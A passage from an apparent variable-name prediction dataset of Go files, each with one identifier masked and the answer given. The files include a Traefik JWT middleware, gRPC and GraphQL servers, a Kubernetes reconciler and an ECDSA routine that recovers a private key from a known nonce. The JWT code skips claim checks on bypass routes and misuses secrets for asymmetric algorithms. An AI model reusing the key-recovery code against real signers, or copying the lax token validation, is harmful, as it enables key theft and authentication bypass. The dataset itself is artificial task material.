`json:""Alg,omitempty""` Secret []string `json:""Secret,omitempty""` Sources []Source `json:""Sources,omitempty""` InjectNewHeaders map[string]HeaderValue `json:""InjectNewHeaders,omitempty""` ExpirationMessage string `json:""ExpirationMessage,omitempty""` ErrorMessage string `json:""ErrorMessage,omitempty""` RoutesToBypassTokenExpiration []RouteMatch `json:""RoutesToBypassTokenExpiration,omitempty""` RoutesToBypassJwtValidation []PublicRouteMatch `json:""RoutesToBypassJwtValidation,omitempty""` } // Source defines a source to look for the JWT token type Source struct { Type string `json:""type,omitempty""` Key string `json:""key,omitempty""` } // HeaderValue defines header values to inject type HeaderValue struct { From []string `json:""From,omitempty""` Values []string `json:""Values,omitempty""` } // PublicHeaderValue defines header values to inject for public routes type PublicHeaderValue struct { From []string `json:""From,omitempty""` Key []string `json:""Key,omitempty""` } // RouteMatch contains a Traefik route matcher expression type RouteMatch struct { Match string `json:""match,omitempty""` } // PublicRouteMatch contains a Traefik route matcher expression and headers to inject type PublicRouteMatch struct { Match string `json:""match,omitempty""` InjectNewHeaders map[string]PublicHeaderValue `json:""InjectNewHeaders,omitempty""` } // JwtPlugin implements the Traefik middleware interface type JwtPlugin struct { next http.Handler config *Config name string } // CreateConfig creates a new config instance func CreateConfig() *Config { return &Config{ JwtPayloadFields: []string{""exp""}, Alg: ""HS256"", ExpirationMessage: ""Token has expired"", ErrorMessage: ""An error occurred while processing the request"", } } // New creates a new JWT middleware func New(ctx context.Context, next http.Handler, config *Config, name string) (http.Handler, error) { // Validate configuration if len(config.Secret) == 0 { return nil, fmt.Errorf(""JWT secret is required"") } // Validate algorithm switch config.Alg { case ""HS256"", ""HS384"", ""HS512"", ""RS256"", ""RS384"", ""RS512"", ""ES256"", ""ES384"", ""ES512"", ""PS256"", ""PS384"", ""PS512"": // Supported algorithms default: return nil, fmt.Errorf(""unsupported JWT algorithm: %s"", config.Alg) } return &JwtPlugin{ next: next, config: config, name: name, }, nil } // logError logs all errors except for token expiration // Uses the format: 2025-03-03T22:21:11Z ERR - Easy Traefik Rate Limit JWT: // With timestamp in grey color and ERR in red color func (p *JwtPlugin) logError(err error, isExpired bool) { // Don't log token expiration errors if isExpired { return } // Get current time in UTC timestamp := time.Now().UTC().Format(""2006-01-02T15:04:05Z"") // Log to stderr with color formatting // Grey timestamp, red ERR, and regular text message _, [MASK] := fmt.Fprintf(os.Stderr, ""\033[90m%s\033[0m \033[31mERR\033[0m - Easy Traefik Rate Limit JWT: %s\n"", timestamp, err.Error()) // We need to check the error to satisfy the linter, but there's not much we can do if stderr fails if [MASK] != nil { // Attempt one more direct write as a last resort _, _ = os.Stderr.WriteString(fmt.Sprintf(""Failed to log error: %v\n"", [MASK] )) } } // ServeHTTP implements the http.Handler interface func (p *JwtPlugin) ServeHTTP(rw http.ResponseWriter, req *http.Request) { // Check if this is a public route that bypasses JWT validation for _, route := range p.config.RoutesToBypassJwtValidation { if p.matchRoute(req, route.Match) { // This is a public route, inject headers if configured if route.InjectNewHeaders != nil { err := p.injectPublicHeaders(req, route.InjectNewHeaders) if err != nil { p.logError(err, false) p.respondWithError(rw, http.StatusBadRequest, p.config.ErrorMessage) return } } // Skip JWT validation and proceed to the next handler p.next.ServeHTTP(rw, req) return } } // Check for expiration bypass routes before extracting token var bypassExpiration bool for _, route := range p.config.RoutesToBypassTokenExpiration { if p.matchRoute(req, route.Match) { bypassExpiration = true break } } // Extract token from request token, err := p.extractToken(req) if err != nil { p.logError(err, false) p.respondWithError(rw, http.StatusUnauthorized, p.config.ErrorMessage) return } // Parse token with special handling for expiration var claims jwt.MapClaims var parsedToken *jwt.Token if bypassExpiration { // For expiration bypass routes, use a custom parser that ignores expiration parser := jwt.NewParser(jwt.WithoutClaimsValidation()) claims = jwt.MapClaims{} parsedToken, err = parser.ParseWithClaims(token, claims, func(token *jwt.Token) (interface{}, error) { // Validate the algorithm if token.Method.Alg() != p.config.Alg { return nil, fmt.Errorf(""unexpected signing method: %v"", token.Header[""alg""]) } // Return the appropriate key based on the algorithm switch p.config.Alg[:2] { case ""HS"": return []byte(p.config.Secret[0]), nil default: return []byte(p.config.Secret[0]), nil } }) } else { // Standard token parsing for non-bypass routes parsedToken, claims, err = p.parseToken(token) } if err != nil { // Check if the error is due to an expired token if strings.Contains(err.Error(), ""token is expired"") { // If this route bypasses expiration, proceed anyway if bypassExpiration { // This check confirms we have a signature error, not another kind of error if !strings.Contains(err.Error(), ""signature is invalid"") { goto TOKEN_VALID } } // Token is expired and route doesn't bypass expiration or has other errors // Don't log expiration errors p.respondWithError(rw, http.StatusUnauthorized, p.config.ExpirationMessage) return } // Log other JWT errors (not expiration) p.logError(err, false) p.respondWithError(rw, http.StatusUnauthorized, p.config.ErrorMessage) return } TOKEN_VALID: // Check if token is valid if !parsedToken.Valid { err := fmt.Errorf(""invalid token"") p.logError(err, false) p.respondWithError(rw, http.StatusUnauthorized, p.config.ErrorMessage) return } // Check for required fields in the JWT payload for _, field := range p.config.JwtPayloadFields { if field != ""exp"" { // ""exp"" is already checked by the JWT library if _, ok := claims[field]; !ok { err := fmt.Errorf(""required field missing: %s"", field) p.logError(err, false) p.respondWithError(rw, http.StatusUnauthorized, p.config.ErrorMessage) return } } } // Inject headers from JWT payload if p.config.InjectNewHeaders != nil { err := p.injectHeaders(req, claims) if err != nil { p.logError(err, false) p.respondWithError(rw, http.StatusInternalServerError, p.config.ErrorMessage) return } } // Token is valid, proceed to the next handler p.next.ServeHTTP(rw, req) } // extractToken extracts the JWT token from the request func (p *JwtPlugin) extractToken(req *http.Request) (string, error) { // Try each source in order for _, source := range p.config.Sources { switch source.Type { case ""bearer"": authHeader := req.Header.Get(source.Key) if authHeader != """" { // Extract token from ""Bearer "" parts := strings.Split(authHeader, "" "") if len(parts) == 2 && strings.ToLower(parts[0]) == ""bearer"" { return parts[1], nil } } case ""header"": tokenHeader := req.Header.Get(source.Key) if tokenHeader != """" { return tokenHeader, nil } case ""query"": tokenQuery := req.URL.Query().Get(source.Key) if tokenQuery != """" { return tokenQuery, nil } } } return """", fmt.Errorf(""no token found in specified sources"") } // parseToken parses and validates the JWT token func (p *JwtPlugin) parseToken(tokenString string) (*jwt.Token, jwt.MapClaims, error) { // Create a map to store claims claims := jwt.MapClaims{} // Parse the token token, err := jwt.ParseWithClaims(tokenString, claims, func(token *jwt.Token) (interface{}, error) { // Validate the algorithm if token.Method.Alg() != p.config.Alg { return nil, fmt.Errorf(""unexpected signing method: %v"", token.Header[""alg""]) } // Return the appropriate key based on the algorithm switch p.config.Alg[:2] { case ""HS"": return []byte(p.config.Secret[0]), nil case ""RS"", ""PS"", ""ES"": // For asymmetric algorithms, the secret would be a public key // This is a simplified implementation return []byte(p.config.Secret[0]), nil default: return nil, fmt.Errorf(""unsupported algorithm: %s"", p.config.Alg) } }) return token, claims, err } // injectHeaders injects headers from JWT payload func (p *JwtPlugin) injectHeaders(req *http.Request, claims jwt.MapClaims) error { for headerName, headerCfg := range p.config.InjectNewHeaders { for i, fromType := range headerCfg.From { if i >= len(headerCfg.Values) { continue } value := headerCfg.Values[i] if fromType == ""JwtPayloadFields"" { if claimValue, ok := claims[value]; ok { // Convert claim value to string var strValue string switch v := claimValue.(type) { case string: strValue = v case float64: strValue = fmt.Sprintf(""%v"", v) case bool: strValue = fmt.Sprintf(""%v"", v) default: strValue = fmt.Sprintf(""%v"", v) } req.Header.Set(headerName, strValue) break } } else if fromType == ""Sources"" { headerValue := req.Header.Get(value) if headerValue != """" { req.Header.Set(headerName, headerValue) break } } } } return nil } // injectPublicHeaders injects headers for public routes func (p *JwtPlugin) injectPublicHeaders(req *http.Request, headers map[string]PublicHeaderValue) error { for headerName, headerCfg := range headers { // Flag to track if we found a value for this header valueFound := false // Try each source in order until we find a value for i, fromType := range headerCfg.From { if i >= len(headerCfg.Key) { continue } key := headerCfg.Key[i] if fromType == ""Sources"" { headerValue := req.Header.Get(key) if headerValue != """" { req.Header.Set(headerName, headerValue) valueFound = true break } } else { return fmt.Errorf(""unsupported source type for public routes: %s"", fromType) } } // If we didn't find a value for this header, return an error if !valueFound { return fmt.Errorf(""required header missing for public route: %s"", headerName) } } return nil } // matchRoute checks if a request matches a Traefik route matcher expression func (p *JwtPlugin) matchRoute(req *http.Request, matchExpr string) bool { // Split the expression by logical operators if strings.Contains(matchExpr, ""&&"") { exprs := strings.Split(matchExpr, ""&&"") for _, expr := range exprs { expr = strings.TrimSpace(expr) if !p.matchSingleExpression(req, expr) { return false } } return true } else if strings.Contains(matchExpr, ""||"") { exprs := strings.Split(matchExpr, ""||"") for _, expr := range exprs { expr = strings.TrimSpace(expr) if p.matchSingleExpression(req, expr) { return true } } return false } return p.matchSingleExpression(req, matchExpr) } // matchSingleExpression matches a single Traefik route matcher expression func (p *JwtPlugin) matchSingleExpression(req *http.Request, expr string) bool { // Parse expressions like Host(`example.com`), Method(`GET`), PathPrefix(`/api`) if strings.HasPrefix(expr, ""Host("") && strings.HasSuffix(expr, "")"") { host := extractValue(expr) return req.Host == host } else if strings.HasPrefix(expr, ""Method("") && strings.HasSuffix(expr, "")"") { method := extractValue(expr) return req.Method == method } else if strings.HasPrefix(expr, ""PathPrefix("") && strings.HasSuffix(expr, "")"") { prefix := extractValue(expr) return strings.HasPrefix(req.URL.Path, prefix) } // Unsupported expression return false } // extractValue extracts the value from a Traefik expression like Function(`value`) func extractValue(expr string) string { // Find the opening backtick start := strings.Index(expr, ""`"") if start == -1 { return """" } // Find the closing backtick - search from the position after start end := strings.LastIndex(expr, ""`"") if end == -1 || end <= start { return """" } return expr[start+1 : end] } // respondWithError sends an error response with the given status and message func (p *JwtPlugin) respondWithError(rw http.ResponseWriter, status int, message string) { rw.Header().Set(""Content-Type"", ""application/json"") rw.WriteHeader(status) response := map[string]string{ ""message"": message, } err := json.NewEncoder(rw).Encode(response) if err != nil { // Log encoding error but don't attempt to write another response p.logError(fmt.Errorf(""error encoding response: %v"", err), false) } }",writeErr 593,"package main import ( ""context"" ""github.com/fionahiklas/simple-static-graphql-api/internal/graphapi"" ""github.com/fionahiklas/simple-static-graphql-api/internal/version"" ""github.com/fionahiklas/simple-static-graphql-api/pkg/graphiqlhandler"" ""github.com/fionahiklas/simple-static-graphql-api/pkg/teststorage"" ""github.com/fionahiklas/simple-static-graphql-api/pkg/versionhandler"" ""github.com/sirupsen/logrus"" ""net/http"" ) func main() { log := logrus.New() log.SetLevel(logrus.DebugLevel) dummyData := teststorage.NewStorage(log) graphApi := graphapi.NewGraphQLAPI(log, dummyData) graphApiHandler := graphApi.GetHandler() versionHandler := versionhandler.NewHandler(log, version.CodeVersion(), version.CommitHash()) [MASK] := graphiqlhandler.NewHandler(log) mux := http.NewServeMux() mux.Handle(""/graphql"", graphApiHandler) mux.Handle(""/version"", versionHandler) mux.Handle(""/iql"", [MASK] ) log.Infof(""Starting provider version '%s', commit: '%s' on localhost:7777"", version.CodeVersion(), version.CommitHash()) if err := http.ListenAndServe(""localhost:7777"", mux); err != nil { log.Error(context.Background(), ""Error from HTTP server: %s"", err.Error()) } } ",graphiqlHandler 594,"package main import ( ""context"" ""encoding/json"" ""sync"" ""github.com/syndtr/goleveldb/leveldb"" ""github.com/syndtr/goleveldb/leveldb/util"" ""net"" pb ""github.com/ynishi/emot/happy"" ""google.golang.org/grpc"" ) type happyServiceServer struct { db *leveldb.DB m sync.Mutex } func (s *happyServiceServer) Get(ctx context.Context, req *pb.GetRequest) (*pb.GetResponse, error) { iter := s.db.NewIterator(util.BytesPrefix([]byte(req.Query)), nil) for iter.Next() { return &pb.GetResponse{ Word: string(iter.Value()), }, nil } iter.Release() err := iter.Error() return nil, err } func (s *happyServiceServer) Post(ctx context.Context, req *pb.PostRequest) (*pb.PostResponse, error) { err := s.db.Put([]byte(req.Key), []byte(req.Word), nil) if err != nil { return nil, err } return &pb.PostResponse{ Key: req.Key, }, nil } func (s *happyServiceServer) ListTag(req *pb.ListTagRequest, [MASK] pb.HappyService_ListTagServer) error { s.m.Lock() defer s.m.Unlock() iter := s.db.NewIterator(util.BytesPrefix([]byte(req.Query)), nil) tmp := make(map[string]bool) for iter.Valid() { resp := pb.ListTagResponse{} if err := json.Unmarshal(iter.Value(), &resp); err != nil { return err } if _, ok := tmp[resp.Tag]; !ok { if err := [MASK] .Send(&resp); err != nil { return err } tmp[resp.Tag] = true } iter.Next() } iter.Release() err := iter.Error() return err } func newServer(db *leveldb.DB) *happyServiceServer { initdb(db) s := &happyServiceServer{db: db} return s } func initdb(db *leveldb.DB) error { o := &pb.ListTagResponse{ Tag: ""tag1"", Num: 1, } v, _ := json.Marshal(o) db.Put([]byte(""key""), []byte(v), nil) return nil } func main() { lis, err := net.Listen(""tcp"", "":1314"") if err != nil { panic(err) } db, err := leveldb.OpenFile(""words.db"", nil) grpcServer := grpc.NewServer() pb.RegisterHappyServiceServer(grpcServer, newServer(db)) grpcServer.Serve(lis) } ",stream 595,"// // Copyright 2020 IBM Corporation // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // package resources import ( ""context"" ""fmt"" ""reflect"" appsv1 ""k8s.io/api/apps/v1"" corev1 ""k8s.io/api/core/v1"" ""k8s.io/apimachinery/pkg/api/errors"" ""k8s.io/apimachinery/pkg/types"" ""sigs.k8s.io/controller-runtime/pkg/client"" ) // Check if a Deployment already exists. If not, create a new one. func ReconcileDeployment(client client.Client, instanceNamespace, deploymentName, deploymentType string, newDeployment *appsv1.Deployment, needToRequeue *bool) error { logger := log.WithValues(""func"", ""ReconcileDeployment"") currentDeployment := &appsv1.Deployment{} err := client.Get(context.TODO(), types.NamespacedName{Name: deploymentName, Namespace: instanceNamespace}, currentDeployment) if err != nil && errors.IsNotFound(err) { // Create a new deployment logger.Info(""Creating a new ""+deploymentType+"" Deployment"", ""Deployment.Namespace"", newDeployment.Namespace, ""Deployment.Name"", newDeployment.Name) err = client.Create(context.TODO(), newDeployment) if err != nil && errors.IsAlreadyExists(err) { // Already exists from previous reconcile, requeue logger.Info(deploymentType + "" Deployment already exists"") *needToRequeue = true } else if err != nil { logger.Error(err, ""Failed to create new ""+deploymentType+"" Deployment"", ""Deployment.Namespace"", newDeployment.Namespace, ""Deployment.Name"", newDeployment.Name) return err } else { // Deployment created successfully - return and requeue *needToRequeue = true } } else if err != nil { logger.Error(err, ""Failed to get ""+deploymentType+"" Deployment"", ""Deployment.Name"", deploymentName) return err } else { // Found deployment, so determine if the resource has changed logger.Info(""Comparing "" + deploymentType + "" Deployments"") if !IsDeploymentEqual(currentDeployment, newDeployment) { logger.Info(""Updating ""+deploymentType+"" Deployment"", ""Deployment.Name"", currentDeployment.Name) currentDeployment.ObjectMeta.Name = newDeployment.ObjectMeta.Name currentDeployment.ObjectMeta.Labels = newDeployment.ObjectMeta.Labels currentReplicas := *currentDeployment.Spec.Replicas currentDeployment.Spec = newDeployment.Spec if currentReplicas == 0 { // since currentDeployment has been scaled to 0, // don't use the default replica count in newDeployment. currentDeployment.Spec.Replicas = ¤tReplicas } err = client.Update(context.TODO(), currentDeployment) if err != nil { logger.Error(err, ""Failed to update ""+deploymentType+"" Deployment"", ""Deployment.Namespace"", currentDeployment.Namespace, ""Deployment.Name"", currentDeployment.Name) return err } } } return nil } // Use DeepEqual to determine if 2 deployments are equal. // Check labels, replicas, pod template labels, service account names, volumes, // containers, init containers, image name, volume mounts, env vars, liveness, readiness. // If there are any differences, return false. Otherwise, return true. // oldDeployment is the deployment that is currently running. // newDeployment is what we expect the deployment to look like. func IsDeploymentEqual(oldDeployment, newDeployment *appsv1.Deployment) bool { logger := log.WithValues(""func"", ""IsDeploymentEqual"") if !reflect.DeepEqual(oldDeployment.ObjectMeta.Name, newDeployment.ObjectMeta.Name) { logger.Info(""Names not equal"", ""old"", oldDeployment.ObjectMeta.Name, ""new"", newDeployment.ObjectMeta.Name) return false } if !reflect.DeepEqual(oldDeployment.ObjectMeta.Labels, newDeployment.ObjectMeta.Labels) { logger.Info(""Labels not equal"", ""old"", fmt.Sprintf(""%v"", oldDeployment.ObjectMeta.Labels), ""new"", fmt.Sprintf(""%v"", newDeployment.ObjectMeta.Labels)) return false } if *oldDeployment.Spec.Replicas != *newDeployment.Spec.Replicas { if *oldDeployment.Spec.Replicas == 0 { logger.Info(""Allowing deployment to scale to 0"", ""name"", oldDeployment.ObjectMeta.Name) } else { logger.Info(""Replicas not equal"", ""old"", oldDeployment.Spec.Replicas, ""new"", newDeployment.Spec.Replicas) return false } } oldPodTemplate := oldDeployment.Spec.Template newPodTemplate := newDeployment.Spec.Template if !isPodTemplateEqual(oldPodTemplate, newPodTemplate) { return false } logger.Info(""Deployments are equal"", ""Deployment.Name"", oldDeployment.ObjectMeta.Name) return true } // Use DeepEqual to determine if 2 pod templates are equal. // Check pod template labels, service account names, volumes, // containers, init containers, image name, volume mounts, env vars, liveness, readiness. // If there are any differences, return false. Otherwise, return true. func isPodTemplateEqual(oldPodTemplate, newPodTemplate corev1.PodTemplateSpec) bool { logger := log.WithValues(""func"", ""isPodTemplateEqual"") if !reflect.DeepEqual(oldPodTemplate.ObjectMeta.Labels, newPodTemplate.ObjectMeta.Labels) { logger.Info(""Pod labels not equal"", ""old"", fmt.Sprintf(""%v"", oldPodTemplate.ObjectMeta.Labels), ""new"", fmt.Sprintf(""%v"", newPodTemplate.ObjectMeta.Labels)) return false } if !reflect.DeepEqual(oldPodTemplate.Spec.ServiceAccountName, newPodTemplate.Spec.ServiceAccountName) { logger.Info(""Service account names not equal"", ""old"", oldPodTemplate.Spec.ServiceAccountName, ""new"", newPodTemplate.Spec.ServiceAccountName) return false } [MASK] := oldPodTemplate.Spec.Volumes newVolumes := newPodTemplate.Spec.Volumes if len( [MASK] ) == len(newVolumes) { if len( [MASK] ) > 0 { for i := range [MASK] { oldVolume := [MASK] [i] newVolume := newVolumes[i] if !reflect.DeepEqual(oldVolume.Name, newVolume.Name) { logger.Info(""Pod volume names not equal"", ""volume num"", i, ""old"", oldVolume.Name, ""new"", newVolume.Name) return false } if !reflect.DeepEqual(oldVolume.VolumeSource, newVolume.VolumeSource) { logger.Info(""Pod volume sources not equal"", ""volume num"", i, ""old"", fmt.Sprintf(""%+v"", oldVolume.VolumeSource), ""new"", fmt.Sprintf(""%+v"", newVolume.VolumeSource)) return false } } } } else { logger.Info(""Volume lengths not equal"") return false } // check containers oldContainers := oldPodTemplate.Spec.Containers newContainers := newPodTemplate.Spec.Containers if !isContainerEqual(oldContainers, newContainers, false) { return false } // check init containers oldInitContainers := oldPodTemplate.Spec.InitContainers newInitContainers := newPodTemplate.Spec.InitContainers if !isContainerEqual(oldInitContainers, newInitContainers, true) { return false } logger.Info(""Pod templates are equal"") return true } // Use DeepEqual to determine if 2 container lists are equal. // Check count, name, image name, image pull policy, env vars, volume mounts. // If there are any differences, return false. Otherwise, return true. // Set isInitContainer to true when checking init containers. func isContainerEqual(oldContainers, newContainers []corev1.Container, isInitContainer bool) bool { logger := log.WithValues(""func"", ""isContainerEqual"") var containerType string if isInitContainer { containerType = ""Init Container"" } else { containerType = ""Container"" } if len(oldContainers) == len(newContainers) { if len(oldContainers) > 0 { for i := range oldContainers { oldContainer := oldContainers[i] newContainer := newContainers[i] logger.Info(""Checking ""+containerType, ""old"", oldContainer.Name) if !reflect.DeepEqual(oldContainer.Name, newContainer.Name) { logger.Info(containerType+"" names not equal"", ""container num"", i, ""old"", oldContainer.Name, ""new"", newContainer.Name) return false } if !reflect.DeepEqual(oldContainer.Image, newContainer.Image) { logger.Info(containerType+"" images not equal"", ""container num"", i, ""old"", oldContainer.Image, ""new"", newContainer.Image) return false } if !reflect.DeepEqual(oldContainer.ImagePullPolicy, newContainer.ImagePullPolicy) { logger.Info(containerType+"" image pull policies not equal"", ""container num"", i, ""old"", oldContainer.ImagePullPolicy, ""new"", newContainer.ImagePullPolicy) return false } oldEnvVars := oldContainer.Env newEnvVars := newContainer.Env if len(oldEnvVars) != len(newEnvVars) { logger.Info(""Env var length not equal"", ""container num"", i) return false } else if len(oldEnvVars) > 0 { for j := range oldEnvVars { oldEnvVar := oldEnvVars[j] newEnvVar := newEnvVars[j] if !reflect.DeepEqual(oldEnvVar.Name, newEnvVar.Name) { logger.Info(""Env var names not equal"", ""container num"", i, ""old"", oldEnvVar.Name, ""new"", newEnvVar.Name) return false } if !reflect.DeepEqual(oldEnvVar.Value, newEnvVar.Value) { logger.Info(""Env var values not equal"", ""container num"", i, ""var"", oldEnvVar.Name, ""old"", oldEnvVar.Value, ""new"", newEnvVar.Value) return false } if oldEnvVar.ValueFrom != nil && newEnvVar.ValueFrom != nil { if !reflect.DeepEqual(oldEnvVar.ValueFrom, newEnvVar.ValueFrom) { logger.Info(""Env var ValueFrom not equal"", ""container num"", i, ""var"", oldEnvVar.Name, ""old"", fmt.Sprintf(""%+v"", oldEnvVar.ValueFrom), ""new"", fmt.Sprintf(""%+v"", newEnvVar.ValueFrom)) return false } } else if !(oldEnvVar.ValueFrom == nil && newEnvVar.ValueFrom == nil) { logger.Info(""One of the env var's ValueFrom is nil"", ""container num"", i, ""var"", oldEnvVar.Name) return false } } } oldVolumeMounts := oldContainer.VolumeMounts newVolumeMounts := newContainer.VolumeMounts if len(oldVolumeMounts) == len(newVolumeMounts) { if len(oldVolumeMounts) > 0 { for i := range oldVolumeMounts { oldVolumeMount := oldVolumeMounts[i] newVolumeMount := newVolumeMounts[i] if !reflect.DeepEqual(oldVolumeMount, newVolumeMount) { logger.Info(""Volume mounts not equal"", ""mount num"", i, ""container num"", i, ""old"", fmt.Sprintf(""%+v"", oldVolumeMount), ""new"", fmt.Sprintf(""%+v"", newVolumeMount)) return false } } } } else { logger.Info(""Volume mount lengths not equal"", ""container num"", i) return false } if !isInitContainer { // check liveness and readiness probes oldLiveness := oldContainer.LivenessProbe newLiveness := newContainer.LivenessProbe if !isProbeEqual(oldLiveness, newLiveness, ""Liveness"") { return false } oldReadiness := oldContainer.ReadinessProbe newReadiness := newContainer.ReadinessProbe if !isProbeEqual(oldReadiness, newReadiness, ""Readiness"") { return false } } } } } else { logger.Info(containerType+"" numbers not equal"", ""old"", len(oldContainers), ""new"", len(newContainers)) return false } return true } // Use DeepEqual to determine if 2 probes are equal. // Check Handler, InitialDelaySeconds, TimeoutSeconds, PeriodSeconds. // If there are any differences, return false. Otherwise, return true. func isProbeEqual(oldProbe, newProbe *corev1.Probe, probeType string) bool { logger := log.WithValues(""func"", ""isProbeEqual"") logger.Info(""Checking "" + probeType + "" probe"") if oldProbe != nil && newProbe != nil { if !reflect.DeepEqual(oldProbe.Handler, newProbe.Handler) { logger.Info(probeType+"" probe Handler not equal"", ""old"", fmt.Sprintf(""%+v"", oldProbe.Handler), ""new"", fmt.Sprintf(""%+v"", newProbe.Handler)) return false } if !reflect.DeepEqual(oldProbe.InitialDelaySeconds, newProbe.InitialDelaySeconds) { logger.Info(probeType+"" probe Initial delay seconds not equal"", ""old"", oldProbe.InitialDelaySeconds, ""new"", newProbe.InitialDelaySeconds) return false } if !reflect.DeepEqual(oldProbe.TimeoutSeconds, newProbe.TimeoutSeconds) { logger.Info(probeType+"" probe Timeout seconds not equal"", ""old"", oldProbe.TimeoutSeconds, ""new"", newProbe.TimeoutSeconds) return false } if !reflect.DeepEqual(oldProbe.PeriodSeconds, newProbe.PeriodSeconds) { logger.Info(probeType+"" probe Period seconds not equal"", ""old"", oldProbe.PeriodSeconds, ""new"", newProbe.PeriodSeconds) return false } } else if !(oldProbe == nil && newProbe == nil) { logger.Info(""One ""+probeType+"" probe is nil"", ""old"", fmt.Sprintf(""%+v"", oldProbe), ""new"", fmt.Sprintf(""%+v"", newProbe)) return false } return true } ",oldVolumes 596,"package main import ""sync"" func main() { mmap := make(map[string]interface{}, 0) mux := sync.RWMutex{} readFunc := func(idx string) interface{} { mux.RLock() defer mux.RUnlock() return mmap[idx] } writeFunc := func(idx string, val interface{}) { mux.Lock() defer mux.Unlock() mmap[idx] = val } readFunc(""1"") writeFunc(""1"", 1) } // Queue 队列 type Queue struct { TopNode *Node TailNode *Node Length int } func NewQueue() *Queue { queue := new(Queue) queue.TopNode = &Node{ Val: -1, } queue.TailNode = &Node{ Val: -1, } queue.Length = 0 return queue } type Node struct { Val int PreNode *Node NextNode *Node } func (queue *Queue) Leng() int { return queue.Length } func (queue *Queue) Pop() *Node { // 队列为空则提前返回 if queue.Length == 0 { return nil } // 当前队列的头节点 oldPreNode := queue.TopNode.NextNode queue.TopNode.NextNode = oldPreNode.NextNode if oldPreNode.NextNode != nil { oldPreNode.NextNode.PreNode = queue.TopNode } queue.Length = queue.Length - 1 return oldPreNode } func (queue *Queue) Push(val int) { [MASK] := &Node{ Val: val, } // 判断当前队列是否为空 if queue.Length == 0 { // 当前节点的前置节点为头节点 [MASK] .PreNode = queue.TopNode [MASK] .NextNode = queue.TailNode queue.TopNode.NextNode = [MASK] queue.TailNode.PreNode = [MASK] } else { // 队列不为空 oldPreNode := queue.TailNode.PreNode oldPreNode.NextNode = [MASK] [MASK] .PreNode = oldPreNode // 先将尾节点指向新节点 queue.TailNode.PreNode = [MASK] [MASK] .NextNode = queue.TailNode } queue.Length = queue.Length + 1 return } ",curNode 597,"package main import ( ""flag"" ""io"" ""log"" ""os"" ""os/exec"" ) const ( // ErrorLabel prefix label for error messages ErrorLabel = ""[ ERROR ] "" // VerboseLogFlags log flags for verbose mode VerboseLogFlags = log.LstdFlags | log.Lshortfile ) var ( outF string errF string logO *log.Logger logE *log.Logger logFlags = 0 verbose bool ) func setOutErrFiles(outF, errF string) (stdOut, stdErr io.Writer, err error) { if outF == """" { stdOut = io.Discard } else { if stdOut, err = os.Create(outF); err != nil { return nil, nil, err } } if errF == """" || errF == outF { stdErr = stdOut } else { if stdErr, err = os.Create(errF); err != nil { return nil, nil, err } } return } func initLog() { logO = log.New(os.Stdout, """", logFlags) logE = log.New(os.Stderr, ErrorLabel, VerboseLogFlags) } func initLogWithFiles(stdO, stdE io.Writer) { outW := io.MultiWriter(os.Stdout, stdO) errW := io.MultiWriter(os.Stderr, stdE) logO = log.New(outW, """", logFlags) logE = log.New(errW, ErrorLabel, VerboseLogFlags) } func init() { flag.StringVar(&outF, ""out"", """", ""Command's output file"") flag.StringVar(&errF, ""err"", """", ""Command's error output file"") flag.BoolVar(&verbose, ""verbose"", false, ""Verbose mode"") initLog() } func main() { flag.Parse() stdOut, stdErr, err := setOutErrFiles(outF, errF) if verbose { logFlags = VerboseLogFlags } if err != nil { logE.Fatalln(""Error:"", err) } initLogWithFiles(stdOut, stdErr) if len(flag.Args()) == 0 { logE.Fatal(""No command provided to execute."") } [MASK] := flag.Args()[0] otherArgs := flag.Args()[1:] if mCmd, err := exec.LookPath( [MASK] ); err == nil { [MASK] = mCmd } mainCmd := exec.Command( [MASK] , otherArgs...) mainCmd.Stdout = stdOut mainCmd.Stderr = stdErr if verbose { msgErrF := errF if msgErrF == """" { msgErrF = ""(errors will be put into the output file)"" } logO.Println(""Output file : "", outF) logO.Println(""Error file : "", msgErrF) logO.Println(""Main Command : "", [MASK] ) logO.Println(""Other Arguments : "", otherArgs) logO.Println(""Arguments Length: "", len(otherArgs)) } if err := mainCmd.Start(); err != nil { logE.Println(""Failed to start the command: "", err) os.Exit(1) } if verbose { logO.Println(""Process ID : "", mainCmd.Process.Pid) } else { logO.Println(mainCmd.Process.Pid) } } ",mainCmdStr 598,"package p256 import ( ""crypto/ecdsa"" ""crypto/elliptic"" ""crypto/sha256"" ""encoding/asn1"" ""errors"" ""fmt"" ""log/slog"" ""math/big"" ""os"" ) func ModInverse(a, n *big.Int) *big.Int { inv := new(big.Int).ModInverse(a, n) if inv == nil { slog.Error(""no modular inverse exists"") os.Exit(1) } return inv } func FloatToBigInt(val float64) *big.Int { bigval := new(big.Float) bigval.SetFloat64(val) result := new(big.Int) bigval.Int(result) return result } type ecdsaSignature struct { R, S *big.Int } func RecoverP256KeyFromNonce(nonce *big.Int, message, signature []byte, pubkey *ecdsa.PublicKey) (*ecdsa.PrivateKey, error) { curve := elliptic.P256() // TODO fixed consider moving to struct and convert function to method order := curve.Params().N k := nonce // extract s, r from signature var sig ecdsaSignature _, err := asn1.Unmarshal(signature, &sig) if err != nil { return nil, err } slog.Debug(fmt.Sprintf(""Extracted from signature: S: %d R: %d"", sig.R, sig.R)) // re-hash the message hash := sha256.Sum256(message) m := new(big.Int).SetBytes(hash[:]) // Recover key from nonce: (r⁻¹ * ((k * s) - m)) % order [MASK] := ModInverse(sig.R, order) ks := new(big.Int).Mul(k, sig.S) ks.Sub(ks, m) tryPriv := new(big.Int).Mul( [MASK] , ks) tryPriv.Mod(tryPriv, order) slog.Debug(""found key: "" + tryPriv.String()) // create ecdsa.PrivateKey including the ecdsa.Public key testPx, testPy := curve.ScalarBaseMult(tryPriv.Bytes()) privateKey := &ecdsa.PrivateKey{ PublicKey: ecdsa.PublicKey{ Curve: curve, X: testPx, Y: testPy, }, D: tryPriv, } // Verify recovered key generates the same public key if pubkey != nil { if testPx.Cmp(pubkey.X) == 0 && testPy.Cmp(pubkey.Y) == 0 { slog.Debug(fmt.Sprintf(""The private key has been found: %d"", tryPriv)) } else { slog.Debug(""Failed to recover the private key."") return nil, errors.New(""failed to recover the private key"") } } return privateKey, nil } ",rInv 599,"package main import ( ""fmt"" ""net/http"" ""strings"" ""github.com/Sirupsen/logrus"" ) const ( nodesPath = ""/nodes"" nodePathPattern = ""/node/"" ) // TODO(dino): 